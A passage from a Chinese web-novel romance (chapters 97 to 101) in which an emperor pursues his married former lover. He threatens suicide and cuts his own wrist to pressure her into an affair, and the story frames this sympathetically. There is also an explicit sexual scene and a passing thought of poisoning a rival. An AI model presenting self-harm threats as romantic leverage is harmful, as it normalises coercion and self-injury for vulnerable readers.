秦思昭摸了摸小白猫,那猫便身子软了下来,缠着他的手指不停发出娇媚的叫声。 他笑着说道: “我也把狗带来了。” 金盏看了秦思昭一眼,直言不讳: “姑娘,这就是你偷的那个汉子是吧,我之前还给你们俩打过掩护呢。” 秦思昭嘴角不受控制地抽了抽,确定她真的口风很严么…… “噗……” 陶金荣差点一口茶喷出去,红着脸道: “我何时偷汉子了!这是我父母早早就相看好的夫君!” 金盏叹了口气说: “有时候吧,这个事就是不想干也得干,你看就像陛下派我来伺候您,我其实一点都不想来,但还是得来。” 她意味深长地看了她一眼,陶金荣被看得脖子一缩,往后退了退,说道: “哦,就是派你来盯梢是吧。” 金盏翻了个白眼,说: “好不容易清静清静,又来了个两边不讨好的活,你以为我愿意盯着么?” 金盏的心中满是怨言,陶金荣跑了也就算了,可关键是还被抓到了,弄了回来,她又要被强迫观看他们两个你爱我我不爱你的那一套好戏,还又多加了一个人跟着一起唱,这下要正室外室打得乱七八糟了。 这个秦思昭也是轴,都到这个份上了,还非得守着这个女人干嘛?就那么喜欢跟皇上作对? 要是她的相公被公主看上了,那她肯定有多远跑多远,连边都不会沾,不对,她这辈子就不会碰男人,只要碰上男人肯定没有好事。 陶金荣皱着眉喝了口茶: “算了,反正我知道你自己心里有数,这事传出去咱们全得掉脑袋,你帮忙捂着点就是了,再雇几个你觉得信得过的人来帮忙做事吧。” 金盏毕竟是做了多年的管家,有她在,陶金荣还能安心一些。 金盏冷哼一声: “这一个个的,一天到晚真会给我找事儿。” 秦思昭说道: “我在的时候,我来照顾荣儿就是,不用您帮忙。” 听他说“荣儿”二字,金盏一时半会儿还有些没反应过来,随后便回过神来,原来泠川的真名叫作陶金荣。 “金盏可会见缝插针地偷懒了,肯定不会打扰咱们的。” 陶金荣握起了秦思昭的手,说道。 金盏浑身一酸,刚看完狗血的一出大戏,又要看这种肉麻的戏码,这个祖宗什么时候能放过她。 这里什么都没有,有的是她要干活的地方。 次日,秦思昭已经被叫走了,此地就留下陶金荣自己终日无所事事,全靠金盏张罗。 几日过去,金盏已经将这里打理得当,又雇了一些人临时干活,这些人全部都在附近有固定居所,白天来干活,干完活便走绝不多待。 陶金荣根本懒得去考虑顾时会不会来,只该做什么便做什么,气定神闲地撸猫撸狗,毫无半点忧虑。 金盏见她再也没有了之前那般疯疯癫癫的样子,忍不住问道: “姑娘,为何你现在不折腾了呢。” 她忍不住笑道: “金盏,这日子可不是跟谁过都一样,要是找相公,肯定得找情绪正常的,像某人那样的就不能找,反正我是死活都不愿意跟他过了。” “咳咳……打住,打住,不要说了……我怕我要开始大逆不道。” 平静的日子便这般过了四五日,秦思昭回来了。 他面色平静,但有些迷惑,颇为摸不着头脑。 顾时基本上神志清醒正常,没说什么奇怪的话,只非常顺从地接受了他和其他几位大夫的联合治疗,目前看来恢复的还算可以,待他也算得上是态度客气。 而且顾时这几日的生活作息都很规律,也没有什么不良嗜好,还在太医的指导下进行了适当的锻炼,也没有出宫。 难道他真的是请他来治病的?是自己恶意揣测他了? 他问金盏: “这几日陛下有来过么?” 金盏悄悄翻了个白眼,他不敢去问他娘子偷没偷人,就来问她是吧。 “没来过,但迟早得来。” 秦思昭更加疑惑了,难道顾时真的就是想请他来把手臂的伤治好? 第98章 说实话,秦思昭对顾时和陶金荣之间的关系尚不完全了解,只大概知道是个怎么回事,归根结底不过是管中窥豹,他确实没弄清楚顾时对陶金荣到底是什么样的感情,他也不擅长想这些。 只是太细节的事他也不好开口直接问她,不然弄得跟他怀疑陶金荣似的。 他从未怀疑过她的勇气和决心,毫无疑问,她坚定地选择了他,秦思昭并不是那种明明已经得到了很多还一直患得患失的人。 “荣儿,我回来了。” 陶金荣直接高兴地抱住了他,非常热情地扑到他的怀里。 “你这几天怎么样?” 她关切地看着他。 “倒也没什么,就是和其他几个太医一起给他治病,他还准了我两天的假,休假完又要回去继续给他治病,目前看着恢复的还可以。” “他没干什么像发羊癫疯一样的事吧。” “没有,作息饮食都很规律,生活习惯挺健康的,精神状态也正常,几个太医跟我说他之前情志病很严重,喜怒无常,现在也恢复正常状态了。” “……” 原来那个叫情志病啊…… 陶金荣沉默了半晌,忍不住开始想这顾时到底是葫芦里卖的什么药,他是故意示好来麻痹他们夫妻二人的么?当他们二人放松警惕后,再迎头痛击? 罢了,谁能猜的透疯子的想法,要是她能理解顾时,那她就要变得像顾时一样疯了。 反正他现在遭受了一通毒打,看起来已经斗志全消,应该没什么杀意就是了。 陶金荣和秦思昭很默契地选择了床上来渡过这忙里偷闲的两日,他如同这会是生命里的最后一次一般和她亲热着。 结束后,秦思昭默默地想,若是自己一去不回,人头落地,是不是应该和她交代一些遗言。 想来想去,他竟然不知道该跟她说什么。 他所有的秘密已经尽数和她交代了,如今他已经不再有神秘感,变成了一个平庸无趣,有时还有点不解风情的丈夫,但倘若能如此平庸地和她一起到老,似乎也没什么不好之处。 若是不能一起到老,他走在前面,那么他也祝福她的余生平安顺遂。 也许人心底还是或多或少地会有一点小自私,他还是隐隐约约地希望她只爱他一个。 秦思昭继续进宫,和其他太医一起给顾时治病,聊治疗方案时他很认真,并不把私人感情带到工作中来,毕竟医者还是要有医德。 顾时对着镜子仔细检查自己的面容和身材,最近他的气色恢复了许多,不再憔悴,也能从五官上看出昔日俊朗的样子了,之前长的白发已经被他染黑,新长出来的头发都是黑的,甚至头发还变得茂密了一些。 就是右边的胳膊还是不方便使力,没法锻炼出漂亮的线条,他几乎不想在镜子前面看到有哪怕一丁点不完美的身体,他觉得,陶金荣肯定也不想看。 如果说是穿着衣服,他还敢去见她,但他现在真的不敢在她面前暴露自己的身体……她看了肯定要嫌弃他的。 他袖子里揣了一个异域进贡的小镜子,有事没事就要拿出来照上两下。 秦思昭和几个太医一起站在一旁交流治疗方案,眼睛一撇,顾时在针灸时还要掏出镜子,莫名其妙地照上两下子,对着额发扒拉两下,心中莫名有些鄙夷。 一个大老爷们,这么在乎外貌干什么,真是肤浅又自恋,男人干净利索就行了,倒腾脑门前面那几根毛是黑的白的有什么劲,他就只裁了几件一模一样的衣服换着穿。 他不屑地在暗地里撇了撇嘴。 要是有打扮自己的那个闲钱,还不如把银子省下来多给自己妻子添几身衣裳。 哦,对,顾时他没有妻子,怪不得要使这种上不得台面的伎俩,真让他瞧不起。 顾时命人裁了十来件不同颜色的新衣裳,在镜子前面换来*换去,挨个比对着哪一件更好看。 终于,他试出了一身尚且满意的打扮,换来换去,还是银白色最提气色,他记得他和她刚在一起的时候穿的就是这个颜色。 他自己也知道男人过度打扮会显得有些做作,所以特意把配饰克制在了一个恰到好处的范围内,既显得贵气,又不会显得太过于花枝招展,引人笑话。 顾时鼓起勇气,又提前派人去给金盏通过了气,便避了人,悄悄地去找她。 金盏一边絮絮叨叨地抱怨,一边把乱七八糟的人全部支走,等着顾时过来。 她犹豫着要不要进去告诉陶金荣,在她的房间门口,来来去去地踱步着。 可若是告诉了她,她来个狗急跳墙,直接跑路了怎么办?顾时费劲巴拉地来一趟不就是为了偷个情么?若是没偷着,岂不是要怪她办事不力…… 金盏觉得还是不说比较好。 果然,不过一会儿他便来了,一看就是精心打扮过。 顾时不想跟金盏有过多的交流,毕竟她作为彻彻底底的局外人又完完整整地见证了他的失败和可笑。 他摆出一副高高在上的姿态,仰着下巴对金盏说: “泠川呢?” “应该是在睡午觉吧。” 他二话不说便直接往她的房间里进,金盏根本就没想拦,连做做样子都懒得,她现在唯一的想法就是该怎么劝秦思昭睁一只眼闭一只眼,升斗小民遇上这种事能把命保住就不错了,跟他较什么劲呐。 走到她卧室的门前,顾时却忽然觉得自己的双腿有千斤一般地重,别说硬闯进去了,就连迈开步子都做不到。 他的心中忽然升起一种巨大的惶恐感,他明明应该和她在一个卧室相拥而眠,可现在却连推开她卧室的门都显得十分唐突。 他没有勇气回首往事,毕竟她早就抛弃了和他在一起时的名字,也顺带一起抛弃了他,如果他硬要拉着她一起念旧情,那等来的不外乎只会是一场细数他罪状的审判罢了。 他用全身力气举起手,轻轻地叩了叩门。 陶金荣午觉刚醒,没有防备心,以为是金盏,便直接叫门外之人进来。 顾时走了进来,像一只语言不通的羔羊一般,六神无主地盯着她看,嘴唇轻轻嚅动,像是在无声地哭诉着什么似的。 他的气色比之前好上了不少,又是明显精心打扮过的,说实话,他的品味相当不错,一袭银白色的衣裳既高雅又俊秀,且一切都有一种恰到好处的克制感。 他用一种沉滞,伤痛的眼神盯着她看。 陶金荣忽然觉得浑身上下都别扭,甚至都忘记了自己只穿了中衣,相当衣衫不整。 她坐起来想指着他的鼻子骂一顿,胸口的中衣却松松垮垮地掉了下去,露出一抹红艳的肚兜。 她赶紧伸手捂住胸口,骂道: “赶紧滚出去,让老娘先把衣服穿上。” 他低下头,静默地转身出去了。 陶金荣把衣裳穿好,走了出去,顾时就站在门口等着她。 她皱着眉头看着他: “有事去外面谈,你进我寝房做什么。” 见顾时不语,陶金荣暗骂了一句脏话,道: “跟我去外面。” 她带着顾时到了待客的地方,本想叫金盏来倒茶,却没想她早就脚下抹油了,她只好示意顾时自己去倒。 这下可真是连人证都没了,她该怎么解释?这顾时可真是给她添麻烦。 他可真是热衷于把她搞得不清不白。 他乖乖地倒了两杯茶,递到她的手上,她却不肯接,只用眼神示意他把茶放在桌子上,他便也照样做了。 令她烦躁的沉默氛围在空气中蔓延。 一杯茶都喝完了,他还是一个字都没说,陶金荣没忍住,狠狠地把杯子拍在桌子上,发出呯的一声。 “顾时,我不欠你什么吧!你三天两头往我眼前晃悠是什么意思!” 他终于开口说道: “是我欠你的。” 陶金荣冷笑: “哦,那你说说看,你欠我什么?” 他把眼睛瞥向一旁,嚅动着唇,怯懦地说: “一个孩子。” “罢了,这个就不必还了,有人能和我生。” 她没忍住翻了个白眼。 顾时在因为羞耻心而微微发抖,说不出半句话来。 陶金荣索性乘胜追击: “怎么,你到底什么意思!我都已经和别人成亲了,你还要来纠缠我!缺女人缺到这个份上,来打别人家媳妇的主意了?能要点脸吗?” “……” 顾时低下头去,沉默了半晌后说: “我可以给你做小。” 陶金荣被他这话吓了一跳,倒吸了一口冷气。 “你什么意思!” “我可以给你做外室,只要你愿意陪陪我,想对我干什么都行,我什么都可以接受,我保证不打扰你和秦思昭的正常生活,我们可以瞒着他,不让他知道。” 真是语不惊人死不休,陶金荣被他的话吓了一跳,一瞬间好多话都被堵在了喉咙里,哆哆嗦嗦,无论如何都说不出来。 “你疯了,万一搞出孩子来怎么办?” “我都可以认作是我的孩子,不拘是什么血缘,你不想让你和秦思昭的孩子继承皇位么。” 他又重复了一遍: “只要你肯让我给你做小,我就愿意让你的孩子继承皇位,怎么样,你愿意收下我么?” 第99章 “……” 陶金荣低下头去,空气里凝结着一种死寂。 她抬起头,她双眼圆瞪,眼白充血,直接挥手将茶杯狠狠地丢在了顾时的脸上,水顺着他的鼻梁侧面滚下去,湿了领口一片衣襟。 “你就是觉得我没得选是不是!不还是在逼我吗!滚!” 顾时抬起手,松了松衣襟,将手指伸到领子里去擦干净渗到衣服下面的茶水,这茶水烫,他胸前的皮肤被烫红了一片,呈现出如同桃花一般的色泽,他的睫毛也被打湿了,垂下来,沾着水珠。 来之前他仔细地给衣服做了熏香,被热水一泼,激发出了一种如同满树鲜花经阳光熏蒸后而散发出的气息。 这香气让陶金荣觉得十分烦躁。 明明她已经努力让自己安定下来,再也不会为了感情误入迷途,可他又十分无耻地过来诱惑她。 顾时抬起眼睛,即使他心底清楚她已经察觉出了他的全部企图,他依然用那种恳求的眼神和她对视。 “对不起,我实在是走投无路了。” 陶金荣用力拍了下桌子,说: “胡说!什么走投无路!明明到处都有路!天下女子那么多,你随便挑一个不行吗?非要跟我这个有夫之妇死磕做什么!” 她色厉内荏,声音嘶哑到最后反倒带出一种无力感。 “于我而言就是绝路。” 他似乎察觉到她在用虚张声势掩饰内心的动摇,便大着胆子伸出手去,轻轻地摸了一下她的侧颊。 她愣住了,一时没反应过来,只觉得自己的脸侧被什么东西很轻很轻地蹭了一下,随后,一阵战栗突然流贯全身。 “我说真的,我保证不影响你和秦思昭正常的生活,我甘心给你做小。” 顾时已经将半个身子压在了她的身上,一股窒息的香气侵入她的口鼻之中,她的脊背又忽然流过一阵战栗,几乎无力挣扎一下。 她伸手抓住他的领子,可她的手指却像初秋的蝉一样频频颤抖,和他胸前的流苏一起撞击出响声。 战栗感很快转化成了厌恶,她耻于承认自己因为这种程度的肢体接触,就唤起了某些方面的一些刻在身体里的记忆。 “我该叫你泠川还是荣儿?” 他只轻轻摸了摸她的后脑。 她几乎喘不过来气,腰肢一下便软了下来,好不容易才说出了一句话: “都不要,叫我陶金荣。” “陶金荣,你的身子还是对我有感觉,不是吗?” 顾时悲哀地想,即使如此那又能如何,这什么都代表不了。 “滚!” 他轻轻抚了抚她的鬓边,嘴唇几乎要挨在她的脸上,却没在她的面颊上落下一个吻。 可就算她此时此刻愿意解开衣襟,他也没勇气给她展示自己不够完美的身体。 还是算了吧。 这样想着,他便松开了她, 她的头发散落了下来,鬓角微微湿了,牙齿咬着鲜红的下唇,睫毛垂了下来,面容带上了几分艳冶,明显她情动了。 可顾时却对此毫无欲念,心中只觉得悲切,喉咙里发出了一声长长的,哀怜的叹声。 明明是互相有情愫的两个人,为何会沦落到这个地步。 遗憾实在是太多了。 陶金荣努力地把整个身子缩进椅子里,紧了紧衣领,嘴唇瑟瑟发抖。 她看着他脸上漠然的神情,不禁打了个寒战,看着他问: “如果我不同意跟你瞎胡搞,你打算把我怎么办?” “在你家吊死,让你后悔一辈子。” “啊?” 陶金荣发出了一个短促的音节来表示疑问。 “嗯,你没听错,我就是要在你家吊死,你拦不住我的。” 她垂眸,咬着下唇问: “你要死也别死在我家里,别人若是发现,我不也得跟着受牵连么。” “我可以给你写好免死令,还有秦思昭的我也可以写,这免死令可以传给你的子子孙孙。” 顾时很认真,一字一顿地说道。 “而且我可以尽量死得稍微好看一些。” 陶金荣的嘴角不受控制地抽了抽,说道: “那你可千万别穿红衣裳。” “我可以穿你喜欢的,你看我现在穿的这身怎么样?” 他抬起头看了看房梁,问: “你有披帛之类的东西么?” “有。” 她从容地进了卧房,从衣柜里拿出了一条纱织烫金的赤红色披帛,又递到顾时手里。 他看了一眼她,如同水鸟一般偏过了头去,便要把披帛甩上房梁,却听到一个急切的声音。 “顾时,别这样,你还是把披帛还给我吧。” 陶金荣终于沉不住气,伸手去捉他的衣角,却被他躲开了。 他双手死死攥着那赤红色披帛,眼角全是哀切,轻声说道: “那你答应我,不然我就在你眼前当个吊死鬼。” 陶金荣的怒气上涌,骂道: “搞个破鞋的事弄得这么苦大仇深!你至于的吗!活不起了是不是!” 他把眼睛移开: “既然你觉得不是大事,那你就答应我吧。” “……” 陶金荣陷入了沉默。 顾时发出一声短短的叹息,说道: “好吧,我可以等你再考虑一下,你先亲我一下。” 他转过头去,捡起了一片碎掉的白瓷,比划在了自己苍白的手腕上。 “如果你不愿意,那我就血溅三尺,换一种死法。” 他用力了些,白瓷在脆弱的手腕上开了一个微小的口子,血液隐隐约约地冒了出来。 “顾时,你为什么要把自己糟蹋到这个地步?” 她走上前去,紧紧握住他捏着碎瓷片的手腕,把他的手拉到一边。 碎瓷片掉到地上,发出清脆的声响。 顾时看着陶金荣的双眼,她的睫毛微微颤抖,嘴唇嚅动了两下,显然她的唇已经给了他短暂的许可。 她不敢去看他的眼睛,那红色的鲜血勾起了她残存的一点愧疚心,陶金荣几乎想要坦白她一早就知道他误会她死在琮翠殿里的事。 如果不是她没有告诉他真相,他也不至于把自己作践到这个地步。 想到这里,陶金荣羞愧地低下了头,明明她和顾时只是正常分手,说破天去也就是和离时闹得不那么愉快而已,却一不小心给弄成生离死别,导致后续的发展大大背离了她的预期。 确实是因为她,顾时才变成这样…… 是她的错,没及时清理干净那琮翠殿地上的火星子,连累了一群无辜之人受到波及。 还不等她坦白自己的过错,一个吻就把她的许多话堵在了喉咙里。 他那只微微渗血的手腕就扣在她的后脑,几乎是带着某种虔诚一般吻着她。 顾时心想,他不该让她主动来吻他的。 还是他来主动吧,这样她大可以告诉秦思昭,是他强迫她的,她只是太过于弱小,没有办法。 感受到她的唇有了回应,顾时便马上松开了她,眉头微蹙,看着她的眼睛说道: “求你怜我。” 她抬起手臂挡在自己的面前,把头偏向一边,抿着唇说: “怜不了……赶紧回去,离我远点!” “离开你我活不成的。” 这话他说起来倒是轻轻巧巧。 “……” 见她沉默,他补了一句: “好吧,陶金荣,我知道你得考虑一下,你先好好考虑吧,我也要先回去了。” 陶金荣像是浑身脱力了一般,直挺挺地往后一坐,整个人散在了椅子里。 她才发现,自己已经出了一身的冷汗,把中衣都打湿了。 一阵强烈的愧疚感袭上心头,她若是不接受,顾时真的能干出死在她眼前的事,可她若是接受,那又置秦思昭于何地? 她岂不是同时耽误了两个人…… 陶金荣觉得,她真的得找个寺庙去拜一拜消业,让佛祖净化她的罪孽。 金盏只是假装跑路,实际上一直在窗外偷听,她现在就一个想法,那免死令甚是不错,什么时候能给她也弄一个? 她只见陶金荣从里面出来,面色苍白,嘴唇发抖,像是经历了一场劫难似的。 她打了个寒颤,开口问道: “金盏,要是顾时真的寻死,你能劝得动他么?” “啊?你问我?” 金盏瞪大了眼睛,气极了反倒笑了出来。 “你都拦不住,你指着我?” 陶金荣皱着眉头,捂着胸口,叹了长长的一口气。 “金盏,你说我该怎么办?” 金盏铁口直断: “这个简单,跟秦大人和离。” 她看陶金荣一副左右为难的样子,忍不住翻了个白眼,心中十分无语,难道顾时还能委屈了她不成,她究竟在为难什么。 不过金盏转念一想,秦思昭斯文妥帖,人又细致,好像确实比疯疯癫癫的顾时强上不少,舍不下他也是人之常情。 “不舍得……不舍得那我就没办法了……” 回到宫中之后,顾时把秦思昭叫来,当着他的面写了免死令,亲自交予了他。 “这是你和你妻子的免死令,毕竟你治好了我的伤……” 秦思昭没兴趣听他说场面话,只是这份免死令还算得上是有诚意,他的妻子大可以安下心来,不必每日再提心吊胆。 但是他知道,顾时很快就不会再说这些没用的套话了。 顾时眼中的神色变了变,像是在回忆什么似的,他开口说道…… 第100章 “我无意于破坏你和你妻子的生活,你大可不必太过担忧,如今我也好得差不多了,便给你准假,回去多休息几日吧,也顺便多陪一陪你的……妻子。” 顾时虽然外表十分客气,内心却把如意算盘拨得噼里啪啦的响。 说实话,男女情事也没有什么太大的意思,多搞几次就厌烦了,与其强行把他们两个分开,还不如让他们好好在一起多待几天,一是待在一起久了就会没有新鲜感,二是相处时间长,总能发现对方身上的毛病。 就算是再好的人,也难免会有招人讨厌的地方,相处久了总是会吵架的。 更别说还有自己时不时从中作梗…… 都用不着他使什么手段,到时候他自己肯定先受不了。 秦思昭听到顾时亲口承认陶金荣是他的妻子,又把话说得如此客气,还是免不了有些意外,眼睛微微瞪大,流露出一丝惊讶的神情。 忽然,顾时的神色变得有几分哀怨,流露出了几分费尽心思掩藏的隐秘心思,他说道: “不管我和陶金荣之间发生了什么,皆是我的过错,你不要因此就心中对她有隔阂,更不要因此就责怪于她。” 说罢,顾时便装作不经意一般地亮出了袖口下的一道伤痕。 “……” 秦思昭垂眸,沉默了半晌,只随便应和了一声。 真是贼心不死的东西,明明出身高贵,身子却比谁都下贱,只会一味的装可怜挑拨离间,上不得台面的小面首,根本不入流,他不稀得搭理。 既然顾时大度地给了假期,秦思昭便利索地拿着免死令打道回府。 陶金荣见他这么快便回来,一副很惊讶的样子,躲躲闪闪地走了出来,可她走到他眼前,又伸手去拉他的手。 “荣儿,他给了我免死令,你大可以安下心来,不必再每日担心我了。” “嗯。” 她点了点头,又踮起脚亲吻了他一下来掩饰自己的心虚。 陶金荣紧张地抿着双唇,看着他关切的双眼,心里充满了愧疚,她觉得自己最对不起的人就是秦思昭,明明他待她最好,她却没法回报给他完全一模一样,毫无保留的爱。 白天被唤起的情欲和愧疚心混合在一起,她暗暗垂眸,拉着他的手把他拖进了卧室,拨开他的腰带,拿出了十二分的激情送与了他。 他并没有看出她的愧疚和心虚,只觉得她想与他亲密,便也想方设法的想让她满意,在她的锁骨下方吸了一个红印子出来。 结束后,他像往常一样,把她搂在怀里,趴在她的耳畔同她东拉西扯的闲聊。 不知为何,今日她十分心不在焉,他说三句,她才应答一句。 她只双眼空空地盯着天花板,就像眼中的感情全部凝滞住了一般,眼角里流出的丝丝泪水濡湿了她的头发。 直到他从她的口中听到了一句近乎残忍的话: “阿昭,要不我们和离吧。” 陶金荣像是被人重重打了一拳似的,吐出这样一句话,随后便羞愧地掩住了脸。 “你什么意思?” 秦思昭想起白天里顾时对他说的那番话,瞬间觉得有些恼怒,便追问道: “是和顾时有关么?” “是……我觉得我对不起你……” “怎么,那么不入流的东西,你还想给他名分?我连你丈夫都不配做了么?事到如今嫌我碍事了是吧?” “不是,我怎么可能这么想你呢?” 秦思昭背过身去,一句话也不肯再说。 明明之前在一起的时候都好好的,她怎么能同他说出这种话,难道他想做她的丈夫是什么很过分的事情吗,她怎么能这么冷血地对待他。 “阿昭,别生气了……” 她委屈地从后面环住了他的腰。 见她来哄他,他也不好一直冷着她,便说: “那你还提不提和离的事?” “不提了,再也不提了。” 秦思昭转过身来,一双桃花眼垂了下来,眼中有几分委屈,眼白微微泛红。 他本身眼睛里就总是含着一层水光,如今微微蹙起了眉,这水光便更甚,折射出一层微弱的彩光。 “荣儿,你为什么要提和离的事,你是不是对我厌倦了?” “我……我只是觉得和我结婚是委屈了你……你也知道顾时那个疯疯癫癫的样子……我……我……” 陶金荣觉得自己的舌头在口腔内绊了一跤,再也忍不住,把所有事都一口气交代了。 “今日顾时来找我……逼我和他……和他……他说我要是不同意,就吊死在我家里让我每天晚上睡不着觉……我一想到吊死鬼就觉得好害怕,可又不想听他的,便想了个办法把他撵走了。” “你看见他手腕上的伤了没?他要给我表演割腕……真是个疯子!” 说着说着,她便心虚地缩进了被子里,一阵冷风吹来,她不禁打了个寒战。 “阿昭,你说我怎么办是好?” 说完,陶金荣便觉得有些惭愧,明明是她和顾时之间的纠葛,她却把这问题抛给了秦思昭,实在是不该。 “罢了,阿昭,你不要管了……我……我自己想对策,他的事别人也管不明白。” 秦思昭伸手给她擦了擦脸上的泪水,问: “荣儿,这样你会觉得痛苦吗?” “他割自己的手腕子,勒自己的脖子……肉长在他身上又不长在我身上,我痛苦什么?觉得烦心罢了,而且不还有你在吗?有你在我怎么会觉得痛苦呢。” 秦思昭略微松了口气,至少她没受到什么实际的伤害,顾时颇有些银样镴枪头,又疯癫又软弱。 他最担心的是顾时殴打强迫她做些什么,好在他还有点良心,如果顾时真的做出什么伤害她的事,他也只能不择手段,找个机会把他神不知鬼不觉地毒死了。 他翻了个身,抱住了她,说道: “咱们两个只是运气不太好……夫妻不管遇到什么都要一起面对,我这一世姻缘只能落在你身上,早就认准你了,无论如何不要再提和离的事了好吗?” 陶金荣在他的怀里猛地抖了一下,他这是……默认了的意思吗…… 确实,他若是想要继续做她的夫君,就只有这一个法子了,可是这对于他而言好不公平,她只能心怀歉疚地待他更好一些。 次日,陶金荣挽着秦思昭的手,为了避免被人认出来便戴上了帷帽,热热切切地同他一起出门逛街。 两个人四处东逛西逛,言笑晏晏,走累了才舍得回家。 金盏站在院子里,命人把顾时送来的东西一样一样抬进屋子里。 “姑娘,入秋了,陛下给你送了好几件冬衣,又送了些秋季的衣裳,你要穿上试试么?” 陶金荣蹙起眉,这个顾时真的是时不时要膈应一下人,说道: “又不是活不起了,懒得试。” 秦思昭不语,略带警告地看着金盏。 他有些反感这个跟了她很久的丫鬟,她潜意识里把顾时当成陶金荣的丈夫,总觉得那个上不得台面的面首和他的妻子是天生一对,这一点他能看得出来。 更别说她还时不时就劝她和他分开,去找顾时“复合”。 简直可笑。 他握着她的手说道: “荣儿,没关系,衣裳就只是衣裳而已,冬季的衣裳还是要穿好一点的,你试一试吧。” “不着急,等天凉了些再说吧。” 一连几日,顾时确实没有来打扰他们二人正常的生活,生活异常平静和美。 金盏抱着猫,百无聊赖地坐在石墩子上叹气,他们两个倒是美了,她在这里遭罪,这样的日子究竟什么时候才能到头。 好在银钱倒是不少……罢了,看在钱的份上忍一忍吧。 原本她心中还在盘算着秦思昭什么时候会和陶金荣和离,可如今他们二人如胶似漆,竟然看不出半点要和离的意思,她未免还是有些惊讶。 不过想想也对,过去秦思昭躲躲藏藏地也要和她偷情,如今翻身做了正夫,光明正大地和陶金荣睡在一起,好不容易挣来的地位凭什么要拱手于人。 现在要躲躲藏藏偷情的另有其人咯。 金盏翻了个白眼,她真懒得看这么一出大戏,不过陶金荣样子倒是比之前快活多了,虽说有些古怪,但这个样子也算是幸福快乐吧。 几日过后,顾时终于沉不住气,给秦思昭弄了个培训御医的活计,秦思昭心知肚明他打的什么主意,见了他便皮笑肉不笑的,顾时只挂着礼貌得体的微笑,客客气气地待他。 如今已经入了秋,秦思昭被故意支走了,她也只能守着两个枕头独自入睡,总觉得枕边空落落的。 看着天花板,陶金荣觉得自己陷入了迷茫。 毫无疑问,她爱着秦思昭,秦思昭也爱她,她以为自己和顾时已经彻底结束了,可是身体里却还有一部分依然记得他。 难道自己真的就要这样稀里糊涂地过下去么…… 吱呀一声,门打开了,陶金荣吓了一跳,立刻从床上坐了起来。 顾时披散着头发,如同幽魂一般款款走了进来。 “陶金荣,你想好了吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 “顾时……大半夜的,你来干什么?” 她慌慌张张地把挡在自己眼前的头发撩拨到后面去,心中忐忑不安。 “……” 一种暗且熟悉的香气吸入她的鼻腔,一下唤醒了她身体最深处的一些记忆。 她咬了咬下唇,顾时偏偏会在这种下三滥的地方用小心机, 这香味早已在她的脑海里和某种不可言说的感觉绑定了起来,如今只要一闻到这香气,就会不由自主地进入某种状态。 即使这香料实际上毫无催|情的效果…… 扑通一声——顾时跪在了她的床前。 这一跪带给了他某种被羞辱的感觉,他完全从属于她,从此他不需要费任何脑筋,只需要当她的提线傀儡。 自己这个样子连情人甚至都算不上……无异于青楼里的面首。 这种深深的耻辱感和羞愧感,反倒催生出一种隐秘又难宣于口的快乐,似乎他原本就是为此而生的,冰冷的触感从又麻又痛双膝上传递上来。 在羞耻和顺从中,他只觉得无比快活,像是回到了原本就应该有的位置一般。 他的舌钉和牙齿蹭了蹭,在愉悦的疼痛里说道: “我已经去佛前跪了一天,把所有罪孽都揽在了我的身上,你不会有罪。来选吧,是让我一抹脖子死在你眼前,还是收下我,让我做你的……外室?” 听到外室这两个字,陶金荣不禁愣了一下。 曾经他想要另娶别人,让她做个外室,可如今却是完全颠倒了过来。 她有了能相互信任依靠的丈夫,他却在这里六神无主地看着她,跪在地上求她来做他的主,为了得到她的一点爱意自甘卑贱到这个地步。 一丝莫名其妙的快感和偷情般的刺激涌上她的心头,又被她马上慌慌张张地按下去。 不管怎么说,这都算不上是什么光彩的事,她不想纵容自己为了这么罪恶的事而感到快乐。 见她默不作声,他摇摇晃晃地站了起来,整个身子欺压上来,扑在了她的身上。 她急忙忙地把他推开,逮住他的耳朵不轻不重地咬了一口: “滚开!这是秦思昭的床!你没资格上来!” 不管怎样,这件事还是太超出她的认知范围内了,她脑袋里嗡嗡作响,什么都想不出来,他身上的香气扰得她脑子里一片混沌,迷迷糊糊。 他一言不发,只把她横抱了起来, “那就换个地方吧。” 他把她抱到了自己的马车里,里面非常干净,两旁的帘子拉下来,便是一个对于偷情来说极好的地方。 他只用手扶着她的下颌,和她接吻。 银制微冷的舌钉划过陶金荣的口腔,带来一种微妙的刺激感,由于异物的存在,这个吻里微微带着疼痛,就像他们二人纠缠不休的那些日子一般。 一滴泪从她的眼角滑了下来,她觉得自己的小腹一阵空虚,牙关收紧,不偏不倚地咬住了那颗舌钉。 极致的剧痛从顾时的舌尖上传来,冷汗瞬间从额头上冒了出来,他不停打颤,喉咙里断断续续地发出呜咽的哀求声。 眼泪源源不断地从脆弱微红的眼眶里渗出,不知他哀求了多久,陶金荣大发慈悲地松开了牙关,用冷漠的眼神略带嘲讽地看着他。 顾时一下觉得这个眼神非常熟悉,在过去的六年里,泠川常常用这种眼神看着他,他一下觉得羞愧难当,又马上产生了一种习惯性的服从。 他伸出手去,卷起了她的中衣下摆,脱掉了她的鞋袜和衬裤,仔细地叠放整齐,放在了一旁。 如今夜已经深了,光线很暗,帘子拉下来,马车里更是伸手不见五指,他看不见她微微泛起玫瑰色的膝盖。 他又一次跪了下来,这次是跪在了她的脚踝之间,直接挤了进去。 舌钉正正好好地卡了进去,他几乎觉得这枚银钉就是为此而穿的。 她的喉咙里发出犹如小兽一般的哼声,摆了摆腰,搭在他肩膀上的手猛地收紧了些,指甲狠狠地嵌了进去,又短促地尖叫了几声。 她的双腿摆动了一下,推开了他。 “滚蛋,别碰我。” 顾时看不见她绛红色的脸颊,但从她深而重的喘息声也能听得出来,她很明显已经得到了满足。 “嗯。” 他点了点头,只是把她抱在了怀里,手掌放在她的胸前,感受着她的心跳声。 原来这个就叫作失而复得。 陶金荣愣了一下,她没想到他还真的没有进一步的动作,在他的怀里身子一僵。 “我是来取悦你的,不是让你取悦我的,你能接受我就觉得很高兴了……” 他把自己的头枕在了她的脖子上。 “……” 陶金荣没想到他想要的真的这么少。 “这样你就会高兴吗?顾时?” “当然。” “你为什么会因为这种事而感到高兴?” “我希望能小*小的参与一下你的生活,又不想打扰你。” “那我允许你偶尔参与一下。” 也许是欲|望扰乱了她的神志,让她说出了这种让他很可能会得寸进尺的话,又也许是她在心底还对他有一丝剪不断的爱意。 事到如今,陶金荣自己也分不清了。 顾时缓缓开口: “今晚你希望我陪你?还是我回去?” “……” 陶金荣扶着腰,用瘫软的双腿慢慢地从马车上走了下去,回头瞥了他一眼。 “跟我来吧。” 她叫金盏给顾时收拾出了一件偏房。 三更半夜把人叫起来,金盏没有好气,但听说是顾时来了,瞬间一个激灵,人也清醒了许多。 